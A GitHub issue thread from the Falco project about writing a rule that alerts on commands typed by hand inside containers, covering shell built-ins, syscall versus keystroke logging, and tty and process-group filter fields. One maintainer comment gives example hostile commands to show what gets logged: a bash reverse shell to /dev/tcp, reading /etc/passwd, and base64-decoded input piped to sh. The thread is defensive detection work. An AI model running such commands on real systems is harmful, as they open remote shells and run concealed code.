Trigger alert whenever there is any manual command executed inside a container [approx solution via new filter fields proc.is_vpgid_leader or proc.vpgid.exepath or proc.vpgid.name]

[hjampala]

/kind support
Hi,

I have an requirement to generate alert whenever manual command gets executed inside a container.
Tried giving so many regex combinations in the rule condition to acheive this. But that didnt trigger any alert.

• rule: shell_in_container
  desc: notice shell activity within a container
  condition: >
  container.id != host and
  proc.cmdline contains "\n"

  output: >
  shell in a container
  (user=%user.name container_id=%container.id container_name=%container.name
  shell=%proc.name parent=%proc.pname source_ip=%fd.rip cmdline=%proc.cmdline)
  priority: WARNING

Is there any custom condition we can use to trigger alert whenever there is any manual command executed inside a container

[hjampala]

@poiana Not able to apply label to the issue created. Please help with applyIng support label.

[jasondellaluce]

/kind bug

Falco rules' condition does not support regex matching ye (only globs and search based on contains, startswith, endswith). The example you provided is supposed to work, can you expand more on what's failing, and also provide info about what Falco version and system you're running this into?

[hjampala]

Expectation is to get an alert whenever we hit enter / new line char inside a container.
But there is no alert generated, no error is seen but not working as expected.

Installed falco drivers on the ubuntu vm. falco version is as follows:
vmauser@ubuntuvm52:~$ falco --version
Falco version: 0.33.1
Libs version: 0.9.2
Plugin API: 2.0.0
Driver:
API version: 2.0.0
Schema version: 2.0.0
Default driver: 3.0.1+driver

Tried capturing all the commands executed in bash/sh shell of a container by using proc.pname in the condition as shown below.
This is capturing almost all the commands. Observed the commands like cd, echo are not generating any alert. Is there any specific reason for the same ?
Also the requirement is to generate an alert even if some arbitrary commands are executed inside a container.
Ex: Requirement is to get an alert even for the below command executed in the container.
vmauser@ubuntuvm52:/falco$ dfasdfasdf
dfasdfasdf: command not found
vmauser@ubuntuvm52:/falco$

- rule: shell_in_container
  desc: notice shell activity within a container
  condition: >
    container.id != host and
    evt.type = execve and
    (proc.pname = bash or
    proc.pname = sh) and
    proc.cmdline != bash

  output: >
    (user=%user.name  command=%proc.cmdline timestamp=%evt.datetime.s container_id=%container.id container_name=%container.name pod_name=%k8s.pod.name proc_name=%proc.name proc_pname=%proc.pname res=%evt.res)
  priority: informational

Alert generated for reference:
06:24:16.286686339: Informational (user=root command=ls -lrht timestamp=2023-01-04 06:24:16 container_id=d6900bc54e26 container_name=k8s_nginx_nginx_default_e7d77691-2413-4b4e-a14f-c214d5660c04_0 pod_name=nginx proc_name=ls proc_pname=bash res=SUCCESS)

[loresuso]

Hi @hjampala, I don't have a specific answer to your question at the moment, but I can tell you that both cd and echo are shell built-in commands. This means that the shell, instead of forking and executing a new executable like usual, directly handles the command. Think about it: when you issue cd you need to change the current working directory of the shell process itself, so changing directory in a child would be ineffective. That's why is the shell process that needs to call the chdir syscall itself. Same goes with echo and a write to stdout (put it simply). So what I wanted to say is that you will never have information about echo and cd this way, because there is nothing that is actually execveed.

[incertum]

@hjampala what you describe is something I have been thinking a lot. The dilemma between syscalls logging and associated process cmd args versus keystroke type of command logging.

Basically a common misconception is "what you type into your terminal is what would be logged as cmdline" in tools like Falco that are based on syscalls events -> not exactly true, because as Lorenzo perfectly described the shell itself interprets the input and most often "destroys" your command or doesn't even cause a new execve in the case of shell built-ins.

More examples:

[1]

Typed into terminal: bash -i >& /dev/tcp/<ip>/1337 0>&1
Logged as cmd args in execve call: bash -i

[2]

Typed into terminal: while read -r line; do echo "$line"; done < /etc/passwd;
Nothing logged as cmdargs as also shell-built-in BUT Falco can log the open* syscalls so you would get a log that the file was opened if you monitor that file.

[3]
Typed into terminal: ALL_PROXY=socks5://127.0.0.1:9999 curl https://<domain>
ENV variables, even setting or unsetting -> nothing logged as well, instead getting only curl https://<domain>

[4]

Typed into terminal: echo 'BLABLBABLABLA' | base64 --decode | sh
Destroyed by bash interpreter into 3 distinct execve's like, for example

(1) sh
(2) base64 --decode
(3) python -c  exec('BLABLA'.decode('base64'))

UNLESS your command gets passed with bash -c then all args or original typed commands get logged similar to how a keystroke logger would do, see maybe also this issue #2259

---

Lastly few more tips, have you explored the fields %proc.loginshellid and %proc.tty? They are useful to infer interactivity and sessionizations as well as %proc.sid or %proc.vpgid can be useful as well to chunk logs logically together.

https://falco.org/docs/reference/rules/supported-fields/

[poiana]

Issues go stale after 90d of inactivity.

Mark the issue as fresh with /remove-lifecycle stale.

Stale issues rot after an additional 30d of inactivity and eventually close.

If this issue is safe to close now please do so with /close.

Provide feedback via https://github.com/falcosecurity/community.

/lifecycle stale

[poiana]

Stale issues rot after 30d of inactivity.

Mark the issue as fresh with /remove-lifecycle rotten.

Rotten issues close after an additional 30d of inactivity.

If this issue is safe to close now please do so with /close.

Provide feedback via https://github.com/falcosecurity/community.

/lifecycle rotten

[poiana]

Rotten issues close after 30d of inactivity.

Reopen the issue with /reopen.

Mark the issue as fresh with /remove-lifecycle rotten.

Provide feedback via https://github.com/falcosecurity/community.
/close

[poiana]

@poiana: Closing this issue.

In response to this:

Rotten issues close after 30d of inactivity.

Reopen the issue with /reopen.

Mark the issue as fresh with /remove-lifecycle rotten.

Provide feedback via https://github.com/falcosecurity/community.
/close

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

[incertum]

/remove-lifecycle rotten

[incertum]

/reopen

[poiana]

@incertum: Reopened this issue.

In response to this:

/reopen

Instructions for interacting with me using PR comments are available here. If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

[incertum]

This PR is not directly addressing this issue falcosecurity/libs#1178, still it could be regarded as an attempt to make progress.

[incertum]

Marking this as solved via an approximation for now. Please note Falco is still not a keystroke logger and bash built-ins not causing a newly spawned process are not being logged via a syscalls logging approach in general.

A possible filter expression you could add to your custom rule to only log spawned processes when in a tty from direct executions and not subprocesses from for example scripts could look like the following:

spawned_process and container and proc.tty != 0 and proc.is_vpgid_leader=true ... [YOUR CUSTOM EXPRESSIONS]

/milestone 0.36.0